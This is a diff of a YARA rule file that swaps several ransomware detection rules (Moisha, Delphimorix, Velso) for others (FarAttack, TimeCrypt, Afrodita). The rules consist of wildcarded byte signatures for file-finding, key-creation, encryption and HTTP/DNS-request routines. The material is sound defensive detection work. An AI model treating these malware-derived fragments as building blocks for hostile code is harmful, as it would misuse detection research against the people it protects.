-		tc_detection_name = "Moisha"
+		tc_detection_name = "FarAttack"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            73 ?? ?? ?? ?? 0A 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 28
-            ?? ?? ?? ?? 2D ?? 06 08 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ??
-            ?? ?? ?? DC DE ?? 26 DE ?? 06 2A
-        }
-		$find_files_p2 = {
-            02 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
-            0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 03 09 6F ?? ?? ?? ?? 04 2C ?? 04 09
-            6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 6F ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 03 04
-            28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
-            ?? ?? ?? DC 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 03 11 ?? 6F ?? ?? ?? ?? 04 2C ?? 04
-            11 ?? 6F ?? ?? ?? ?? 2A
+		$find_files = {
+            56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ??
+            ?? ?? ?? 59 6A ?? 58 E9 ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 03 C7 89
+            45 ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? F7 06 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4E ??
+            51 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? F6 06 ?? 74 ?? 8B 45 ?? 8D 04 45 ?? ?? ?? ?? 50 8D 46 ??
+            50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 8B 53 ??
+            8B 75 ?? 8B 01 53 89 44 72 ?? 66 8B 41 ?? 8B CE 66 89 44 4A ?? FF 43 ?? 83 63 ?? ??
+            E8 ?? ?? ?? ?? FF 4B ?? 83 63 ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 83 7B ?? ?? 75 ?? FF 73
+            ?? FF 73 ?? FF 73 ?? FF 73 ?? 57 FF 73 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C7 43
+            ?? ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ??
+            ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D
+            04 45 ?? ?? ?? ?? 50 8D 46 ?? 50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 83 7E ?? ?? 75 ?? 83 7E ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 8B 45 ?? 8D 34 00
+            8D 4E ?? 51 E8 ?? ?? ?? ?? 56 89 07 FF 73 ?? 50 E8 ?? ?? ?? ?? 8B 07 33 C9 83 C4 ??
+            66 89 0C 06 8B 75 ?? 51 57 51 8B 46 ?? 89 47 ?? 8B 46 ?? 89 47 ?? 8B 45 ?? 89 47 ??
+            FF 73 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 4B ?? A1 ?? ?? ?? ?? 89 44 79 ?? 66 A1 ?? ??
+            ?? ?? 66 89 44 79 ?? 56 FF 75 ?? FF 15
         }
-		$find_files_p3 = {
-            73 ?? ?? ?? ?? 0A 06 03 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 02 28
-            ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ??
-            ?? ?? ?? 2C ?? 06 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 31 ?? 06 7B ?? ?? ?? ?? 2C ?? 06 FE
-            06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 17 6F ?? ?? ?? ?? 07 17 6F ?? ?? ??
-            ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 09 6F ?? ?? ?? ?? 06 7B
-            ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 12 ?? 28
-            ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 2A
+		$create_key = {
+            55 8B EC 56 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 32 C0 EB ?? A1 ?? ?? ?? ?? 53
+            33 DB 85 C0 74 ?? 53 6A ?? 53 53 56 FF D0 EB ?? 8A C3 84 C0 75 ?? FF 15 ?? ?? ?? ??
+            3D ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 53 53 56 FF D0 8A D8 84
+            DB 75 ?? 56 E8 ?? ?? ?? ?? 59 32 C0 EB ?? 8B 4D ?? B0 ?? 89 71 ?? 5B 5E 5D C3
         }
-		$import_priv_key = {
-            02 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 16 13 ?? 16 13 ?? 16 13 ?? 11 ?? 6F
-            ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 11 ?? 20 ??
-            ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F
-            ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 2E ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F
-            ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 28 ?? ?? ?? ?? 13
-            ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ??
-            0B 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0C 11 ?? 28 ?? ?? ?? ?? 13 ??
-            11 ?? 11 ?? 6F ?? ?? ?? ?? 0D 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13
-            ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13
-            ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ??
-            ?? 13 ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 06 7D ?? ?? ?? ?? 12 ?? 07 7D ?? ?? ?? ?? 12 ??
-            08 7D ?? ?? ?? ?? 12 ?? 09 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ??
-            ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 13 ?? DE ?? 11 ??
-            6F ?? ?? ?? ?? DC 11 ?? 2A
+		$encrypt_files_p1 = {
+            50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 83
+            FF ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 48 ?? 8B 40
+            ?? 83 C1 ?? 03 C1 8B 5D ?? 89 5D ?? 8B 4D ?? 89 4D ?? 99 03 D8 89 5D ?? 13 CA 89 4D
+            ?? 8B 55 ?? 8B 45 ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ??
+            ?? 85 D2 7C ?? 7F ?? 3D ?? ?? ?? ?? 76 ?? 89 75 ?? EB ?? 83 65 ?? ?? C7 45 ?? ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 59 89 4D ?? 51
+            52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 8B 4D ?? 6A ?? 53 51 6A ?? 6A ?? 57 FF 15 ??
+            ?? ?? ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? 89 45 ?? 89 45 ?? 33 C9 8B C1 89 45 ?? 89 45 ?? 89 4D ?? 89 4D ?? 89 45 ?? 89
+            45 ?? 89 4D ?? 8B 4D ?? FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? FF 71 ?? FF 71 ?? 8D 41 ?? 50
+            FF 71 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 85 C0
         }
-		$encrypt_files = {
-            20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 0A 14 0B 14 0C 16 0D 20 ?? ?? ?? ?? 13 ?? 03 19 17 1D 28
-            ?? ?? ?? ?? 0B 03 19 18 1D 28 ?? ?? ?? ?? 0C 02 7B ?? ?? ?? ?? 08 17 6F ?? ?? ?? ?? 13
-            ?? 07 06 16 06 8E 69 6F ?? ?? ?? ?? 13 ?? 11 ?? 16 31 ?? 11 ?? 06 16 11 ?? 6F ?? ?? ??
-            ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 04 11 ?? 6F ?? ?? ?? ?? 04 6F ?? ?? ?? ??
-            13 ?? 11 ?? 8E 69 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 08 08 6F ?? ?? ?? ?? 16 6F ?? ?? ??
-            ?? 26 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08
-            6F ?? ?? ?? ?? 17 0D DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 13 ?? DE ?? 07 2C
-            ?? 07 6F ?? ?? ?? ?? 08 2C ?? 08 6F ?? ?? ?? ?? 09 26 DC 2A
+		$encrypt_files_p2 = {
+            75 ?? 89 55 ?? 21 45 ?? 8B CE 89 4D ?? 89 4D ?? EB ?? 8B 4D ?? 3B 4D ?? 0F 8D ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 85 C9 74 ?? 83 7D ?? ?? 74 ?? 8D 41 ?? 3B 45 ?? 74 ??
+            8B C1 99 FF 75 ?? FF 75 ?? 52 50 E8 ?? ?? ?? ?? 8B C8 89 45 ?? C7 45 ?? ?? ?? ?? ??
+            EB ?? 8B CA 81 E9 ?? ?? ?? ?? 89 4D ?? 8B 55 ?? 83 DA ?? 83 65 ?? ?? 89 55 ?? 6A ??
+            8B 45 ?? FF 70 ?? 52 51 E8 ?? ?? ?? ?? 6A ?? 8B 4D ?? FF 71 ?? 52 50 E8 ?? ?? ?? ??
+            8B C8 89 4D ?? 89 55 ?? 8B 45 ?? 2B C1 89 45 ?? 8B 4D ?? 1B CA 89 45 ?? 89 4D ?? EB
+            ?? 8B 55 ?? 8B C2 C1 F8 ?? FF 75 ?? FF 75 ?? 52 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ??
+            89 45 ?? 85 C0 75 ?? 50 FF 75 ?? FF 75 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ??
+            ?? ?? 8B 75 ?? 8B 7D ?? 83 4D ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45
+            ?? E8 ?? ?? ?? ?? C3 03 45 ?? 56 6A ?? 8D 4D ?? 51 50 FF 75 ?? 50 6A ?? 6A ?? 8D 85
+            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 45 ?? 40
+            89 45 ?? 3B 45 ?? 75 ?? 8B 75 ?? FF 76 ?? FF 76 ?? 8B 45 ?? 03 45 ?? 03 45 ?? 50 E8
+            ?? ?? ?? ?? FF 76 ?? FF 76 ?? 8B 46 ?? 03 45 ?? 03 45 ?? 03 45 ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8B 7E ?? 03 7E ?? 03 7D ?? 03 7D ?? 8B 45 ?? 03 F8 8D 75 ?? A5 A5 A5 A5 6A
+            ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 F6 46 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 4D
+            ?? 8B 55 ?? 8B 45 ?? E9 ?? ?? ?? ?? 53 8B 35 ?? ?? ?? ?? FF D6
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($import_priv_key) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($create_key) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Delphimorix : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timecrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Delphimorix ransomware."
+		description = "Yara rule that detects TimeCrypt ransomware."
 		author = "ReversingLabs"
-		id = "1f964601-9819-5597-ba6e-db3a30e3aa5a"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "38a0c383-8be6-5258-aa93-0cf09b18e5f7"
+		date = "2021-12-06"
+		modified = "2021-12-06"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Delphimorix.yara#L1-L67"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6d401d488d57b2d75e93a1dfd47ece687a5791d1f0a52768300f4af8a8787212"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara#L1-L69"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6849d6d5010d7bcb4052c10d5bd7cc29320ffc986f36289b272a1e9a8d14fab9"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -43199,63 +43462,58 @@ rule REVERSINGLABS_Win32_Ransomware_Delphimorix : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Delphimorix"
+		tc_detection_name = "TimeCrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$find_files = {
+            7E ?? ?? ?? ?? 0A 16 0B 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 73
+            ?? ?? ?? ?? 0D 09 08 7D ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 09
+            28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ??
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 2C ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 1F ?? 28 ?? ?? ?? ?? 73
+            ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 2A 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 26 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 26 07 17 58 0B 07 06 8E 69 3F ?? ?? ?? ?? 2A
+        }
 		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55
-            68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B
-            4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ??
-            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B C3
-            8B 10 FF 12 52 50 B9 ?? ?? ?? ?? 8B D3 8B C6 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B
-            C6 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 59 59 5D C3
+            02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 73 ?? ?? ?? ?? 0A 06 03 6F ?? ?? ?? ?? 06 02 6F
+            ?? ?? ?? ?? 26 06 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F
+            ?? ?? ?? ?? DC 02 17 28 ?? ?? ?? ?? DE ?? 26 DE ?? 2A
         }
-		$find_files_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ??
-            ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B D9 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02
-            ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 FB ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85
+		$send_http_request = {
+            1C 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19
+            03 A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 04 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0A 73 ?? ?? ??
+            ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A
         }
-		$find_files_p2 = {
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B
-            C6 83 C8 ?? 3B C6 75 ?? 80 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 75 ?? 68 ?? ?? ??
-            ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 8B CB 8B 55 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? C3
+		$send_dns_request = {
+            1C 8D ?? ?? ?? ?? 25 16 04 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 03 A2 25 19
+            72 ?? ?? ?? ?? A2 25 1A 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
+            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+            26 DE ?? 26 DE ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($send_http_request) and ($send_dns_request)
 }
-rule REVERSINGLABS_Win32_Ransomware_Velso : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Afrodita : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Velso ransomware."
+		description = "Yara rule that detects Afrodita ransomware."
 		author = "ReversingLabs"
-		id = "72c7baaa-4f83-54c5-ba71-2b45e5eeefd2"
+		id = "513963fd-5f3d-5d31-a65a-37f6f5c72260"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Velso.yara#L1-L230"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "602be848a26106a1bd46cfc515578f0628687e6cb352e609a274220a61bcb620"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Afrodita.yara#L1-L119"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ce7cc445d4c1f59c25b9505fc1f7f9dd0d286ab80510e2977b50ff15433aea60"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -43263,616 +43521,352 @@ rule REVERSINGLABS_Win32_Ransomware_Velso : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Velso"
+		tc_detection_name = "Afrodita"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 A5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 89 04 24 E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? C9 C3 C7 04 24 ?? ?? ?? ?? 8B 4D ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ??
-            ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ??
-            ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ??
-            85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ??
-            C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ??
-            ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ??
-            E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ??
